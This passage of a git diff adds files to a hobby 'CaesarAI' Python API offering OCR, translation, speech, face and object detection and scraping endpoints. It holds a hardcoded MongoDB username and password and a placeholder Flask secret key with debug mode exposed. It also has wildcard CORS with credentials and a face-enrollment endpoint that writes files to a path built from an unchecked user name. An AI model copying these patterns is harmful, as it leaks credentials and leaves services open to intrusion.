a/RequestModels.py b/RequestModels.py new file mode 100644 index 0000000000000000000000000000000000000000..b9072fb8b98cf1e7f951b1dd461dd601ec6e7881 --- /dev/null +++ b/RequestModels.py @@ -0,0 +1,58 @@ +from pydantic import BaseModel +from typing import Union,List + +class CaesarHotelBookingsModel(BaseModel): + city:str + checkin_date: str + checkout_date: str + purpose: str + num_of_adults:int + num_of_rooms: int + num_of_children:int + price_range : float + num_of_pages : int + exclude_whole : Union[str,None] + +class Item(BaseModel): + name: str + description: Union[str, None] = None + price: float + tax: Union[float, None] = None + +class CaesarLangTranslateModel(BaseModel): + caesartranslate : str + response: str + language: str + triggerword: Union[str,None] +class CaesarFaceAuth(BaseModel): + user:str +class CaesarStockInfoModel(BaseModel): + stock: str + start_date: str + end_date: str + + +class CaesarVoiceModel(BaseModel): + filename: Union[str,None] + language: Union[str,None] + text: str +class CaesarOCRRequestModel(BaseModel): + ocr_data:str +class CaesarSRModel(BaseModel): + audio_data:str +class CaesarSummarizeModel(BaseModel): + text: str + +class CaesarCreateAPIModel(BaseModel): + caesarapis : List[dict] = [] + +class CaesarObjectDetectModel(BaseModel): + frame: str + shape:List +class CaesarOCRHTTPModel(BaseModel): + frame: str + shape:List + +class TriggerAPIModel(BaseModel): + user_trigger : str + diff --git a/__pycache__/CaesarDetectEntity.cpython-37.pyc b/__pycache__/CaesarDetectEntity.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..f7fca88413b53428e07b847920b7b2272040ac1e Binary files /dev/null and b/__pycache__/CaesarDetectEntity.cpython-37.pyc differ diff --git a/__pycache__/CaesarDetectEntity.cpython-39.pyc b/__pycache__/CaesarDetectEntity.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..33ea338fae59e79aafdaaebf47b84a7ebca3bdb0 Binary files /dev/null and b/__pycache__/CaesarDetectEntity.cpython-39.pyc differ diff --git a/__pycache__/CaesarTranslate.cpython-37.pyc b/__pycache__/CaesarTranslate.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..1a6710764b7bf70297c8e562870f9c75f3388b90 Binary files /dev/null and b/__pycache__/CaesarTranslate.cpython-37.pyc differ diff --git a/__pycache__/CaesarTranslate.cpython-39.pyc b/__pycache__/CaesarTranslate.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..2a527937a9f81fc7b18a3d847b65a9ffe10d1c1f Binary files /dev/null and b/__pycache__/CaesarTranslate.cpython-39.pyc differ diff --git a/__pycache__/CaesarVoice.cpython-37.pyc b/__pycache__/CaesarVoice.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..5a7b6a439a21b86596ca6539bf7f50f6d6bc4f09 Binary files /dev/null and b/__pycache__/CaesarVoice.cpython-37.pyc differ diff --git a/__pycache__/CaesarVoice.cpython-39.pyc b/__pycache__/CaesarVoice.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..adc2691e142ec0f34364fcbfc6ce1e78f3e582eb Binary files /dev/null and b/__pycache__/CaesarVoice.cpython-39.pyc differ diff --git a/__pycache__/RequestModels.cpython-37.pyc b/__pycache__/RequestModels.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..422f6bd5f95409b6a3c27267f371be638ac65805 Binary files /dev/null and b/__pycache__/RequestModels.cpython-37.pyc differ diff --git a/__pycache__/RequestModels.cpython-39.pyc b/__pycache__/RequestModels.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..ee0ee2c9a2fb56c34686232ba70fe1ae083c3e62 Binary files /dev/null and b/__pycache__/RequestModels.cpython-39.pyc differ diff --git a/__pycache__/csv_to_db.cpython-37.pyc b/__pycache__/csv_to_db.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..615f312730db270f5116f7257fd80fd037b0213b Binary files /dev/null and b/__pycache__/csv_to_db.cpython-37.pyc differ diff --git a/__pycache__/csv_to_db.cpython-39.pyc b/__pycache__/csv_to_db.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..a4a22d3e9445b598205ffe2370e28ae6c42a0073 Binary files /dev/null and b/__pycache__/csv_to_db.cpython-39.pyc differ diff --git a/__pycache__/main.cpython-310.pyc b/__pycache__/main.cpython-310.pyc new file mode 100644 index 0000000000000000000000000000000000000000..1a9a9de85671756be0968ffbc80a197db1ced157 Binary files /dev/null and b/__pycache__/main.cpython-310.pyc differ diff --git a/__pycache__/main.cpython-37.pyc b/__pycache__/main.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e82d38edfdaaffbd6a10432ba78970fa4522cd51 Binary files /dev/null and b/__pycache__/main.cpython-37.pyc differ diff --git a/__pycache__/main.cpython-39.pyc b/__pycache__/main.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..9bac9fd2319c5d0a9dbb80c3bbe046570482dd6d Binary files /dev/null and b/__pycache__/main.cpython-39.pyc differ diff --git a/app.py b/app.py new file mode 100644 index 0000000000000000000000000000000000000000..f7be256227c0a57cba37beeb519597f15f4e9eb8 --- /dev/null +++ b/app.py @@ -0,0 +1,328 @@ +import base64 +import itertools +import json +import os +import time + +import cv2 +import numpy as np +import pandas_datareader as pdr +import pytesseract +import speech_recognition as sr +from CaesarDetectEntity import CaesarDetectEntity +from CaesarHotelBooking.caesarhotelbooking import CaesarHotelBooking +from CaesarObjectDetection.CaesarYolo import CaesarYolo +from CaesarTranslate import CaesarLangTranslate +from CaesarVoice import CaesarVoice +from csv_to_db import ImportCSV +from flask import Flask, request, send_file +from flask_cors import cross_origin +from flask_jwt_extended import get_current_user, jwt_required +from tqdm import tqdm +from transformers import pipeline + +app = Flask(__name__) +app.config['SECRET_KEY'] = 'secret!' + +importcsv = ImportCSV("CaesarAI") +caesaryolo = CaesarYolo() + +@app.route("/",methods=["GET"]) +@cross_origin() +def caesaraihome(): + return "Welcome to CaesarAI's API's and CaesarAINL." + +@app.route("/caesarobjectdetect",methods=["POST"]) +def caesarobjectdetect(): + frames = request.get_json() + image = caesaryolo.caesar_object_detect(np.frombuffer(base64.b64decode(frames["frame"]),dtype="uint8").reshape(480,640,3))#base64.b64decode(frames["frame"])) + return {'frame': base64.b64encode(image).decode()} + + +@app.route("/createcaesaraipi",methods=["POST"]) +@cross_origin() +def createcaesaraipi(): + caesar_api_post = request.get_json() + + caesarapi_db_exists = list(importcsv.db.caesarapis.find( { "caesarapis" : { "$exists" : "true" } } )) + #print(caesarapi_db) + if len(caesarapi_db_exists) == 0: + importcsv.db.caesarapis.insert_one(caesar_api_post) + return {"message":"caesarapi created."} + elif len(caesarapi_db_exists) > 0: + caesarapi_db = caesarapi_db_exists[0] + #print(caesarapi_db) + for apis in caesar_api_post["caesarapis"]: + if apis not in caesarapi_db["caesarapis"]: + caesarapi_db["caesarapis"].append(apis) + elif apis in caesarapi_db["caesarapis"]: + continue + importcsv.db.caesarapis.replace_one({ "caesarapis" : { "$exists" : "true" } },caesarapi_db) + return {"message":"caesarapi stored."} +@app.route("/getcaesaraipi",methods=["GET"]) +@cross_origin() +def getcaesaraipi(): + try: + caesarapi_db_exists = list(importcsv.db.caesarapis.find( { "caesarapis" : { "$exists" : "true" } } ))[0] + del caesarapi_db_exists["_id"] + return caesarapi_db_exists + except KeyError as kex: + return {"error":f"Api doesn't exist"} +@app.route("/triggerapi",methods=["POST"]) +@cross_origin() +def triggerapi(): + user_trigger = request.get_json()["user_trigger"] + try: + caesarapi_db_exists = list(importcsv.db.caesarapis.find( { "caesarapis" : { "$exists" : "true" } } ))[0] + except KeyError as kex: + return {"error":"Api doesn't exist"} + try: + triggered_apis = [i for i in caesarapi_db_exists["caesarapis"] if i["triggerwords"] in user_trigger] + triggered_api = triggered_apis[0] + return triggered_api + except (IndexError,KeyError) as kex: + return {"message":"sorry couldn't understand what api you want."} +@app.route("/caesaraihotelbookings",methods=["POST"]) +@cross_origin() +def caesaraihotelbookings(): + """ + params = { + "city":city, + "checkin_date":"2023-8-01", + "checkout_date":"2023-8-08", + "purpose":"work", + "num_of_adults":10, + "num_of_rooms":5, + "num_of_children":0, + "page_num":i + } + """ + def get_price_range(bookings_json,city,range,): + def condition(dic): + ''' Define your own condition here''' + try: + price = dic['assumed_final_price'] + return price <= range + except KeyError as kex: + return False + #print(bookings_json) + bookings = bookings_json[f"{city.lower()}_bookings"] + filtered = [d for d in bookings if condition(d)] + return filtered + + + try: + overall_booking_info = [] + hotelbookings_json = request.get_json() + try: + exclude_whole = hotelbookings_json["exclude_whole"] + except KeyError as kex: + exclude_whole = None + city = hotelbookings_json["city"] + price_range = hotelbookings_json["price_range"] + print(f"Extracting flight data for {city}...") + for i in tqdm(range(1,hotelbookings_json["num_of_pages"]+1)): + params = { + "city":city, + "checkin_date":hotelbookings_json["checkin_date"], + "checkout_date":hotelbookings_json["checkout_date"], + "purpose":hotelbookings_json["purpose"], + "num_of_adults":hotelbookings_json["num_of_adults"], + "num_of_rooms":hotelbookings_json["num_of_rooms"], + "num_of_children":hotelbookings_json["num_of_children"], + "page_num":i + } + url = CaesarHotelBooking.create_url(**params) + bookinginfo = CaesarHotelBooking.caesar_get_hotel_info(url) + overall_booking_info.append(bookinginfo) + full_bookings = list(itertools.chain(*overall_booking_info)) + price_range_bookings = get_price_range({f"{city.lower()}_bookings":full_bookings},city,price_range) + if exclude_whole == "true": + return {"caesaroutput":{"caesarbookings":price_range_bookings}} + #return {f"{city.lower()}_bookings_lower_than_{price_range}":price_range_bookings} + return {"caesaroutput":{"caesarbookings":full_bookings}} + #return {"caesaroutput":full_bookings} + #return {f"{city.lower()}_bookings":full_bookings,f"{city.lower()}_bookings_lower_than_{price_range}":price_range_bookings} + except Exception as ex: + return {"error":f"{type(ex)}{ex}"} +@app.route("/caesarlangtranslate",methods=["POST","GET"]) +@cross_origin() +def caesarlangtranslate(): + try:# hello + if request.method == "POST": + translate_json = request.get_json() + text = translate_json["caesartranslate"] + + language = "en" + try: + responsejson = translate_json["response"] + language = translate_json["language"] + try: + triggerword = translate_json["triggerword"] + caesarlang = CaesarDetectEntity() + text,language = caesarlang.run(triggerword,text,caesarlang.main_entities[triggerword]) + except KeyError as kex: + pass + if responsejson == "true": + response = True + elif responsejson == "false": + response = False + else: + response = False + except KeyError as kex: + response = False + caesarlangtranslate = CaesarLangTranslate() + original,translation,original_language,destination_language = caesarlangtranslate.translate(text,lang=language,response=response) + + + return {"caesaroutput":translation,"caesartranslation":{"original":original,"translation":translation,"original_language":original_language,"destination_language":destination_language}} + elif request.method == "GET": + text = request.args.get("text") + triggerword = request.args.get("triggerword") + responsejson = request.args.get("response") + caesarlang = CaesarDetectEntity() + try: + text,language = caesarlang.run(triggerword,text,caesarlang.main_entities[triggerword]) + if responsejson == "true": + response = True + elif responsejson == "false": + response = False + else: + response = False + except KeyError as kex: + response = False + caesarlangtranslate = CaesarLangTranslate() + original,translation,original_language,destination_language = caesarlangtranslate.translate(text,lang=language,response=response) + + + return {"caesaroutput":translation,"caesartranslation":{"original":original,"translation":translation,"original_language":original_language,"destination_language":destination_language}} + + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} +@app.route("/caesarsr", methods=["GET", "POST"]) +@cross_origin() +def caesarsr(): + + if request.method == "POST": + transcript = "" + try: + #print("FORM DATA RECEIVED") + file = request.files.get("audio_data") + print(file) + + if file: + recognizer = sr.Recognizer() + audioFile = sr.AudioFile(file) + with audioFile as source: + data = recognizer.record(source) + transcript = recognizer.recognize_google(data, key=None) + return {"message":transcript} + elif not file: + # TODO Make it show that the .3pg extension is adaptable + audiobase64json = request.get_json() + decode_bytes = base64.b64decode(audiobase64json["audio_data"].replace("data:video/3gpp;base64,","")) + with open("temp.3pg", "wb") as wav_file: + wav_file.write(decode_bytes) + + os.system('ffmpeg -y -i temp.3pg temp.wav') + recognizer = sr.Recognizer() + audioFile = sr.AudioFile("temp.wav") + with audioFile as source: + data = recognizer.record(source) + transcript = recognizer.recognize_google(data, key=None) + return {"message":transcript} + + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} +@app.route("/caesarvoice", methods=["GET", "POST"]) +@cross_origin() +def caesarvoice(): + if request.method == "POST": + try: + voice_input = request.get_json() + try: + filename = voice_input["filename"] + lang = voice_input["language"] + except KeyError as kex: + filename = "temp.wav" + lang = "en" + + CaesarVoice.synthesise(voice_input["text"],filename,lang=lang) + #if request.method == "POST": + # return {"message":transcript} + return {"message":"voice syntheized"}# send_file(filename,"audio/x-wav") + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} +@app.route("/caesarsummarize", methods=["GET", "POST"]) +@cross_origin() +def caesarsummarize(): + if request.method == "POST": + try: + json_input = request.get_json() + original_text = json_input["text"] + summarization = pipeline("summarization") + summary_text = summarization(original_text)[0]['summary_text'] + return {"caesaroutput":summary_text}# send_file(filename,"audio/x-wav") + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} +@app.route("/caesarstockinfo", methods=["GET", "POST"]) +@cross_origin() +def caesarstockinfo(): + if request.method == "POST": + try: + json_input = request.get_json() + # import AAPL stock price + stock_tick = json_input["stock"] + start_date = json_input["start_date"] + end_date = json_input["end_date"] + df = pdr.get_data_yahoo(stock_tick, start=start_date,end=end_date) + print(df) + return {"caesaroutput":str(df.to_csv(index=False))}# send_file(filename,"audio/x-wav") + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} +@app.route("/caesarocr", methods=["GET", "POST"]) +@cross_origin() +def caesarocr(): + def data_uri_to_cv2_img(uri): + nparr = np.fromstring(uri, np.uint8) + img = cv2.imdecode(nparr, cv2.IMREAD_COLOR) + return img + if request.method == "POST": + try: + # read the image using OpenCV + # from the command line first argument + imagebase64json = request.get_json() + #.replace("data:image/jpeg;base64,","").replace("data:image/png;base64,","") + data_uri = base64.b64decode(imagebase64json["ocr_data"]) #.replace("'","").replace("b","") + #print(data_uri) + image = data_uri_to_cv2_img(data_uri) + # or you can use Pillow + # image = Image.open(sys.argv[1]) + + # get the string + string = pytesseract.image_to_string(image) + # print it + print(string) + + # get all data + # data = pytesseract.image_to_data(image) + + # print(data) + return {"caesaroutput":string}# send_file(filename,"audio/x-wav") + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} + + +@app.route("/caesarvoiceget", methods=["GET", "POST"]) +@cross_origin() +def caesarvoiceget(): + if request.method == "GET": + try: + filename = "temp.wav" + return send_file(filename,"audio/x-wav") + except Exception as ex: + return {"error":f"{type(ex)}-{ex}"} +if __name__ == "__main__": + #port = int(os.environ.get('PORT', 5000)) # 80 + app.run(debug=True,host="0.0.0.0",port=7860) + #socketio.run(app,debug=True,host="0.0.0.0",port=5000) diff --git a/caesaraitest.py b/caesaraitest.py new file mode 100644 index 0000000000000000000000000000000000000000..a021f2963639d80ab25fa0de717ab0c0cd2fe669 --- /dev/null +++ b/caesaraitest.py @@ -0,0 +1,53 @@ +import json +import unittest +import requests +import os +import socket + +class CaesarAIHotelBookingTest(unittest.TestCase): + def hotel_bookings_test(self): + if "Bookings" not in os.listdir(): + os.mkdir("Bookings") + city = "Alicante" + price_range = 2000 + booking_json= { + "city":city, + "checkin_date":"2023-8-15", + "checkout_date":"2023-8-22", + "purpose":"work", + "num_of_adults":8, + "num_of_rooms":5, + "num_of_children":0, + "price_range":price_range, + "num_of_pages":10, + "exclude_whole":"true" + } + #full_bookings = requests.post("https://caesaraiapi.onrender.com/caesaraihotelbookings",json=booking_json).json() + #print(full_bookings) + with open(f"Bookings/{city.lower()}_bookings.json","r") as f: + full_bookings = json.load(f) + #.json() + print(full_bookings) + with open(f"Bookings/{city.lower()}_bookings_lower_than_{price_range}.txt","w+") as f: + for booking in full_bookings[f"{city.lower()}_bookings_lower_than_{price_range}"]: + for key,value in booking.items(): + try: + if key == "address": + key = key.capitalize() + f.write(f"{key} - {value}\n") + + except KeyError as kex: + continue + f.write("\n") + #def web_socket_test(self): + # import json + # from websocket import create_connection + # ws = create_connection("ws://caesaraiapi.onrender.com/echo") + # ws.send(json.dumps({"op":"addr_sub", "addr":"dogecoin_address"})) + # result = ws.recv() + # print (result) + # ws.close() + + +if __name__ == "__main__": + unittest.main() \ No newline at end of file diff --git a/caesarapis.json b/caesarapis.json new file mode 100644 index 0000000000000000000000000000000000000000..cbdc7de5ad0d193f7e808ac58aad885aaf9e9be3 --- /dev/null +++ b/caesarapis.json @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5ea9ace4762662130da1ff0586b380b5782a0090c1fa550bd33c45d67bc3ebd5 +size 931 diff --git a/caesarapiunit.py b/caesarapiunit.py new file mode 100644 index 0000000000000000000000000000000000000000..6e07ce707a21166c2ca7b0dcc60757f86bce5918 --- /dev/null +++ b/caesarapiunit.py @@ -0,0 +1,89 @@ +import unittest +import requests +class CaesarAPIUnit(unittest.TestCase): + def createapitest(self): + data = {"caesarapis":[{ + "api_name": "Caesar Translate", + "auth": "none", + "content_type": "application/json", + "data": {"caesartranslate":"hello world","response":"true","language":"fr","triggerword":"translate"}, + "method": "POST ", + "token": "none", + "triggerwords": "translate", + "url": "http://192.168.0.10:7860/caesarlangtranslate", +}, + { + "api_name": "Caesar Send Text", + "auth": "none", + "content_type": "application/json", + "data": { + "text": "hello world", + }, + "method": "POST ", + "token": "none", + "triggerwords": "send text", + "url": "http://192.168.0.10:7860/caesartext", +}]} + response = requests.post("http://192.168.0.10:7860/createcaesaraipi",json=data) + print(response.json()) + def getapitest(self): + response = requests.get("http://192.168.0.10:7860/getcaesaraipi") + print(response.json()) + def triggerapitest(self): + data = {"user_trigger":"translate"} + response = requests.post("http://192.168.0.10:7860/triggerapi",json=data) + print(response.json()) + def caesarvoicetest(self): + data = {"text":"hello world"} + response = requests.post("http://192.168.0.10:7860/caesarvoice",json=data) + with open('textfile.wav', 'wb') as file: + file.write(response.content) + print(response) + def caesarsummarize(self): + with open("test.txt","r") as f: + text = f.read() + if len(text) < 4000: + data = {"text":text} + response = requests.post("http://192.168.0.10:7860/caesarsummarize",json=data) + print(response.json()) + else: + print("original text is too large") + def caesarstockinfo(self): + response = requests.post("http://192.168.0.10:7860/caesarstockinfo",json={"stock":"AAPL","start_date":"2023-02-05","end_date":"2023-02-07"}) + print(response.json()) + def caesarocr(self): + import base64 + with open("artificial neural networks.png", "rb") as image_file: + encoded_string = base64.b64encode(image_file.read()).decode('UTF-8') + #print(encoded_string) + response = requests.post("http://192.168.0.10:7860/caesarocr",json={"ocr_data":encoded_string}) + print(response.json()) + def faceauthorizeuser(self): + url = 'https://palondomus-caesarai.hf.space/faceauthorizeuser' + f = open("/home/amari/Desktop/CaesarAI/CaesarAIAPI/CaesarFaceRecognition/testimages/amari.jpg", 'rb') + + file = {'file': f} + + + resp = requests.post(url=url, files=file,params={"user":"amari"}) + print(resp.json()) + f.read() + f.close() + def caesarfaceauth(self): + url = 'https://palondomus-caesarai.hf.space/caesarfaceauth' + f = open("/home/amari/Desktop/CaesarAI/CaesarAIAPI/CaesarFaceRecognition/testimages/amari.jpg", 'rb') + + file = {'file': f} + + + resp = requests.post(url=url, files=file,params={"user":"amari"}) + print(resp.json()) + f.read() + f.close() + + + + + +if __name__ == "__main__": + unittest.main() \ No newline at end of file diff --git a/caesartriggers.json b/caesartriggers.json new file mode 100644 index 0000000000000000000000000000000000000000..49692ebd75453617888cda80c8373bf442b7f870 --- /dev/null +++ b/caesartriggers.json @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:70bb1e5ddc7bc1cb9f7ecef4860e5f653af35a9c8cfe125571bb60a9d03d2f4f +size 414 diff --git a/csv_to_db.py b/csv_to_db.py new file mode 100644 index 0000000000000000000000000000000000000000..0a24e5f3b4eec9cb58348268ab3f316ea2d1374f --- /dev/null +++ b/csv_to_db.py @@ -0,0 +1,41 @@ +import pymongo +import json +import certifi +import gridfs +# Mongo client Debugging: +# Tsl error :https://stackoverflow.com/questions/54484890/ssl-handshake-issue-with-pymongo-on-python3 +# Ip address whilisting mongo atlas.. +class ImportCSV: + def __init__(self,database,gridfsbase="caesaraifiles") -> None: + ca = certifi.where() + # This tells python to specifically send a tls certificate for the connection. + client = pymongo.MongoClient(f"mongodb+srv://palondrome:kya63amari@caesaraicluster0.k8894gg.mongodb.net/?retryWrites=true&w=majority",tlsCAFile=ca) + self.db = client[database] + self.gridfs = client[gridfsbase] + + def load_data(self,collection_name,init_data): + # Initialises collection + db_cm = self.db[collection_name] + def load_n_insert(data): + # Input is Dataframe + data_json = json.loads(data.to_json(orient='records')) + db_cm.insert_many(data_json) + load_n_insert(init_data) + +if __name__ == "__main__": + filename = "HusseyCoin.txt.torrent" + importcsv = ImportCSV("CaesarCoinDB") + with open("CaesarTorrents"+"/"+filename,"rb") as f: + data = f.read() + fs = gridfs.GridFS(importcsv.gridfs) + fs.put(data,filename=filename) + print("Upload completed.") + + filedata = importcsv.gridfs.fs.files.find_one({"filename":filename}) + my_id = filedata["_id"] + output_Data = fs.get(my_id).read() + output = open("hello.txt.torrent","wb") + output.write(output_Data) + output.close() + print("download completed") + #outputdata = fs.get() \ No newline at end of file diff --git a/main.py b/main.py new file mode 100644 index 0000000000000000000000000000000000000000..041a7a286555eb374ce8b2510b6f321c3c146fb3 --- /dev/null +++ b/main.py @@ -0,0 +1,559 @@ +import asyncio +import base64 +import itertools +import json +import os +import shutil +import subprocess +import time + +import cv2 +import numpy as np +import pandas_datareader as pdr +import pytesseract +import speech_recognition as sr +import uvicorn +from fastapi import FastAPI, File, UploadFile,Depends, WebSocket, WebSocketDisconnect +from fastapi.middleware.cors import CORSMiddleware +from fastapi.responses import FileResponse +from tqdm import tqdm +from transformers import pipeline + +from CaesarDetectEntity import CaesarDetectEntity +from CaesarFaceDetection.caesarfd import CaesarFaceDetection +from CaesarHotelBooking.caesarhotelbooking import CaesarHotelBooking +from CaesarObjectDetection.CaesarYolo import CaesarYolo +from CaesarTranslate import CaesarLangTranslate +from CaesarVoice import CaesarVoice +from csv_to_db import ImportCSV +from RequestModels import * +from CaesarFaceRecognition.caesardeepface import CaesarDeepFace + +importcsv = ImportCSV("CaesarAI") +caesaryolo = CaesarYolo() +caesarfacedetectmodel = CaesarFaceDetection() +app = FastAPI() + +CURRENT_DIR = os.path.realpath(__file__).replace(f"/main.py","") +app.add_middleware( + CORSMiddleware, + allow_origins=["*"], # can alter with time + allow_credentials=True, + allow_methods=["*"], + allow_headers=["*"], +) +pytesseract.pytesseract.tesseract_cmd = '/usr/bin/tesseract' +@app.get("/") +def caesaraihome(): + return "Welcome to CaesarAI's API's and CaesarAINL." + +@app.websocket("/caesarobjectdetectws") +async def caesarobjectdetectws(websocket: WebSocket): + # listen for connections + await websocket.accept() + + try: + while True: + contents = await websocket.receive_bytes() + arr = np.frombuffer(contents, np.uint8) # turns the image byte data into numpy array + + frame = cv2.imdecode(arr, cv2.IMREAD_UNCHANGED) # turns numpy array into the original image shape and state + + image,_,_ = caesaryolo.caesar_object_detect(frame) # Does object detection and returns a numpy array + ret, buffer = cv2.imencode('.png', image) # turns numpy array into buffer + + await websocket.send_bytes(buffer.tobytes()) # sends the buffer as bytes + + + except WebSocketDisconnect: + print("Client disconnected") + +@app.websocket("/caesarfacedetectws") +async def caesarfacedetect(websocket: WebSocket): + # listen for connections + await websocket.accept() + + try: + while True: + contents = await websocket.receive_bytes() + arr = np.frombuffer(contents, np.uint8) # turns the image byte data into numpy array + + frame = cv2.imdecode(arr, cv2.IMREAD_UNCHANGED) # turns numpy array into the original image shape and state + + image = caesarfacedetectmodel.detect_face(frame) # Does object detection and returns a numpy array + ret, buffer = cv2.imencode('.png', image) # turns numpy array into buffer + + await websocket.send_bytes(buffer.tobytes()) # sends the buffer as bytes + + + except WebSocketDisconnect: + print("Client disconnected") + +@app.post("/caesarfacesnap") +def caesarfacesnap(frames: CaesarOCRHTTPModel): + try: + frames = dict(frames) + image = np.frombuffer(base64.b64decode(frames["frame"]),dtype="uint8").reshape(frames["shape"][0],frames["shape"][1],3) + image = caesarfacedetectmodel.detect_face(image,snapcropface=True) + if image == [] or image is None: + return {"frame":"no face was detected."} + elif image != [] or image is None: + x=np.ascontiguousarray(image) + return {'frame': base64.b64encode(x).decode(),"shape":[image.shape[0],image.shape[1]]} + except Exception as ex: + return {"error":f"{type(ex)},{ex}"} + +@app.post("/faceauthorizeuser") +def faceauthorizeuser(recogperson: CaesarFaceAuth = Depends(),file: UploadFile = File(...)): + + try: + recogperson = dict(recogperson) + auth_file = f"{CURRENT_DIR}/CaesarFaceRecognition/authimages/{recogperson['user']}.jpg" + with open(auth_file, 'wb') as f: + shutil.copyfileobj(file.file, f) + return {"message":f"{recogperson['user']} is authorized for face recognition."} + except Exception as ex: + return {"message": f"{type(ex)},{ex}"} + finally: + file.file.close() +# https://stackoverflow.com/questions/65504438/how-to-add-both-file-and-json-body-in-a-fastapi-post-request +@app.post("/caesarfaceauth") +def caesarfaceauth(recogperson: CaesarFaceAuth = Depends(),file: UploadFile = File(...)): + + try: + recogperson = dict(recogperson) + uploaded_file = f"{CURRENT_DIR}/CaesarFaceRecognition/images/temp.jpg" + auth_file = f"{CURRENT_DIR}/CaesarFaceRecognition/authimages/{recogperson['user']}.jpg" + with open(uploaded_file, 'wb') as f: + shutil.copyfileobj(file.file, f) + caeesardeepface = CaesarDeepFace() + result = caeesardeepface.face_authentication(filename1=auth_file,filename2=uploaded_file) + return result + except Exception as ex: + return {"message": f"{type(ex)},{ex}"} + finally: + file.file.close() + + + + +@app.websocket("/caesarocrextractionws") +async def caesarocrextractionws(websocket: WebSocket): + # listen for connections + await websocket.accept() + + try: + while True: + contents = await websocket.receive_bytes() + target_words = await websocket.receive_json() + + target_words = dict(target_words)["target_words"] + + + arr = np.frombuffer(contents, np.uint8) # turns the image byte data into numpy array + + frame = cv2.imdecode(arr, cv2.IMREAD_UNCHANGED) # turns numpy array into the original image shape and state + + data = pytesseract.image_to_data(frame, output_type=pytesseract.Output.DICT) + image_copy = frame.copy() + + # get all data from the image + data = pytesseract.image_to_data(frame, output_type=pytesseract.Output.DICT) + + # print the data + #print(data["text"]) + + # get all occurences of the that word + word_occurences = [ i for i, word in enumerate(data["text"]) for target in target_words if word.lower() == target] + + for occ in word_occurences: + # extract the width, height, top and left position for that detected word + w = data["width"][occ] + h = data["height"][occ] + l = data["left"][occ] + t = data["top"][occ] + # define all the surrounding box points + p1 = (l, t) + p2 = (l + w, t) + p3 = (l + w, t + h) + p4 = (l, t + h) + # draw the 4 lines (rectangular) + image_copy = cv2.line(image_copy, p1, p2, color=(255, 0, 0), thickness=2) + image_copy = cv2.line(image_copy, p2, p3, color=(255, 0, 0), thickness=2) + image_copy = cv2.line(image_copy, p3, p4, color=(255, 0, 0), thickness=2) + image_copy = cv2.line(image_copy, p4, p1, color=(255, 0, 0), thickness=2) + + ret, buffer = cv2.imencode('.png', image_copy) # turns numpy array into buffer + + await websocket.send_bytes(buffer.tobytes()) # sends the buffer as bytes + + + except WebSocketDisconnect: + print("Client disconnected") + +@app.websocket("/caesarocrws") +async def caesarocrws(websocket: WebSocket): + # listen for connections + await websocket.accept() + + try: + while True: + contents = await websocket.receive_bytes() + + arr = np.frombuffer(contents, np.uint8) # turns the image byte data into numpy array + + frame = cv2.imdecode(arr, cv2.IMREAD_UNCHANGED) # turns numpy array into the original image shape and state + # get the string + string = pytesseract.image_to_string(frame) + # print it + #print(string) + + + + message = json.dumps({"message":string}) + ret, buffer = cv2.imencode('.png', frame) # turns numpy array into buffer + + await websocket.send_json(message) # sends the buffer as bytes + await websocket.send_bytes(buffer.tobytes()) # sends the buffer as bytes + + + + except WebSocketDisconnect: + print("Client disconnected") +@app.post("/caesarocr") +def caesarocr(frames: CaesarOCRHTTPModel): + # listen for connections + try: + frames = dict(frames) + image_arr = np.frombuffer(base64.b64decode(frames["frame"]),dtype="uint8") + image = cv2.imdecode(image_arr,flags=cv2.IMREAD_COLOR) + # .reshape(frames["shape"][0],frames["shape"][1],3) + string = pytesseract.image_to_string(image) + return {'message': string} + except Exception as ex: + return {"error":f"{type(ex)},{ex}"} + +@app.websocket("/sendvideows") +async def sendvideows(websocket: WebSocket): + # listen for connections + await websocket.accept() + + try: + while True: + contents = await websocket.receive_bytes() + arr = np.frombuffer(contents, np.uint8) + #print(arr) + + frame = cv2.imdecode(arr, cv2.IMREAD_UNCHANGED) + #print(frame.shape) + #image = caesaryolo.caesar_object_detect(frame) + ret, buffer = cv2.imencode('.png', frame) + #print(buffer) + await websocket.send_bytes(buffer.tobytes()) + + + except WebSocketDisconnect: + print("Client disconnected") +# Done +@app.post("/caesarobjectdetect") +def caesarobjectdetect(frames: CaesarObjectDetectModel): + frames = dict(frames) + image,_,_ = caesaryolo.caesar_object_detect(np.frombuffer(base64.b64decode(frames["frame"]),dtype="uint8").reshape(frames["shape"][0],frames["shape"][1],3))#base64.b64decode(frames["frame"])) + return {'frame': base64.b64encode(image).decode(),"shape":[image.shape[0],image.shape[1]]} + +@app.websocket("/caesarobjectdetectvideows") +async def caesarobjectdetectvideows(websocket: WebSocket): + + # listen for connections + await websocket.accept() + + try: + while True: + video_frames = await websocket.receive_json() + with open(f'{CURRENT_DIR}/CaesarObjectDetection/content.mp4', 'wb') as f: + f.write(base64.b64decode(video_frames["frame"].replace("data:video/mp4;base64,",""))) + duration = 20 # seconds + best_min_size = (32000 + 100000) * (1.073741824 * duration) / (8 * 1024) + CaesarYolo.compress_video(f"{CURRENT_DIR}/CaesarObjectDetection/content.mp4", f'{CURRENT_DIR}/CaesarObjectDetection/content_compressed.mp4', best_min_size) + if "content.mp4" in os.listdir(f"{CURRENT_DIR}/CaesarObjectDetection"): + os.remove(f"{CURRENT_DIR}/CaesarObjectDetection/content.mp4") + caesaryolo.video_load('content.mp4') + while True: + image,time_elapsed,end_time = 